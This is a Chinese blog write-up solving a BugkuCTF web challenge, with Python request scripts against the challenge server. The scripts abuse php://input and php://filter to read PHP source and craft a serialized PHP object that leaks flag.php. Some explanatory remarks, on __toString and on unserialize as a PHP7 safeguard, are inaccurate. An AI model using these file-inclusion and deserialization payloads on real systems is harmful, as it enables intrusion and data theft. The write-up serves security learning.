BugkuCTF:welcome to bugkuctf(web)

题目描述:

                               

查看源码:


you are not the number of bugku !   
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"]; 

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  
  • 加载file的条件是:
    user不为空,user作为一个文件进行读入内容等于"welcome to the bugkuctf"

想法: 

利用php伪协议php://input,对请求的body参数进行读取,然后赋值给user,构造payload

  • 写个脚本(password还不知道,随便写一个):
    import requests
    
    mysession = requests.Session()
    r = mysession.get("http://123.206.87.240:8006/test1/index.php?file=hint.php&password=123&txt=php://input", data="welcome to the bugkuctf")
    print(r.text)

    其结果只是显示了一个:hello friend!   其他的都一样,总感觉是上面提示的php文件的内容不全,这个时候其实已经读出来 hint.php 要输出的内容了,只是没有显示源码。
                     

  • 御剑后台扫描结果为,多出来一个xxx.php:

                 

  • 对 xxx.php 进行访问:

                        

  • 看来要爆破一波了!打开burpsuite,抓包发送到Intruder:

    payloads下选择,Passwords字典,进行爆破,结果没出来:
                          

看了看大佬的博客,发现路又走偏了

正确解题思路       

  • 要对 hint.php 进行源码的显示,所以要用到php://filter伪协议,再次构造payload:
    import requests
    
    mysession = requests.Session()
    r = mysession.get("http://123.206.87.240:8006/test1/index.php?password=123&txt=php://input&file=php://filter//read=convert.base64-encode/resource=hint.php", data="welcome to the bugkuctf")
    print(r.text)
  • 得到hint.php的源码的base64编码:

    解码一下,得到 flag.php(就是上面的hint.php):
    <?php  
      
    class Flag{//flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
    			echo "<br>";
    		return ("good");
            }  
        }  
    }  
    ?>  

     

  • 之后对index.php源码的base64编码进行的读取,改一下上面脚本中的URL即可:
    r = mysession.get("http://123.206.87.240:8006/test1/index.php?password=123&txt=php://input&file=php://filter//read=convert.base64-encode/resource=index.php", data="welcome to the bugkuctf")

    对得出来的base64编码进行解码得到:

    <?php  
    $txt = $_GET["txt"];  
    $file = $_GET["file"];  
    $password = $_GET["password"];  
      
    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
        echo "hello friend!<br>";  
        if(preg_match("/flag/",$file)){ 
    		echo "不能现在就给你flag哦";
            exit();  
        }else{  
            include($file);   
            $password = unserialize($password);  
            echo $password;  
        }  
    }else{  
        echo "you are not the number of bugku ! ";  
    }  
      
    ?>  
      
    <!--  
    $user = $_GET["txt"];  
    $file = $_GET["file"];  
    $pass = $_GET["password"];  
      
    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
        echo "hello admin!<br>";  
        include($file); //hint.php  
    }else{  
        echo "you are not admin ! ";  
    }  
     -->  

     

  • 根据 index.php 源码,需满足的要求是:file参数中不含有'flag'字符串
    直接把file赋值为flag.php的方式行不通了,即file参数就不能再用了,只剩下password参数还可以使用
  • 利用 echo $password:
    它会先执行$password的内容,然后将结果显现出来。在执行之前有个unserialize($password) 函数 ,我们要做的就是将要执行的语句进行序列化之后构造payload,然后index.php进行反序列化,之后echo 执行。
    • 构造payload:
      思想是:__toString() 方法是PHP的魔术方法,会在类生成实例时自动执行,只有在直接使用于 echo 或 print 时才能生效,正好这里有echo,之后,把password赋值成为Flag类型,Flag中的参数$file赋值为flag.php,之后它就会执行__String()方法了
      因为$password有个unserialize()操作,所以先要执行serialize()操作,之后构造payload
      写个PHP脚本:
      <?php
      /*之所以又构造了一个Flag类是因为我们要在本地模拟服务器的环境,我们通过payload对index.php进行请求,
      payload里面的file参数是hint.php,index.php里面对其进行了include($file)操作因而可以直接使用Flag类,
      而我们本地没有index.php和hint.php,所以直接模拟一个Flag类,之后对其进行序列化,然后将最终的序列化后的值
      在构造payload时给password,如果在服务器上,它就真的会执行相应的操作了*/
      	class Flag{ 
      		public $file;	
      	}
      	$s = new Flag;
      	$s->file = "flag.php";
      	$s = serialize($s);
      	print($s);
      ?>

      执行结果为:

      O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

      先对以上的序列化结果进行URL编码,最后,构造payload:

      import requests
      
      mysession = requests.Session()
      r = mysession.get("http://123.206.87.240:8006/test1/index.php?txt=php://input&file=hint.php&password=O%3a4%3a%22Flag%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a8%3a%22flag.php%22%3b%7d", data="welcome to the bugkuctf")
      print(r.text)

      得到flag:
                     

 

 

 

知识点

  •  unserialize(object)  是php7以来的用于防止非法数据进行代码注入,提供了更安全的反序列化数据
  • preg_match()函数搜索字符串模式,如果模式存在返回true,否则返回false
    int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
    $pattern /***/  两个/ 之间包含的匹配的模式      $subject 是匹配的对象
    preg_match() 匹配成功一次后就会停止匹配,如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值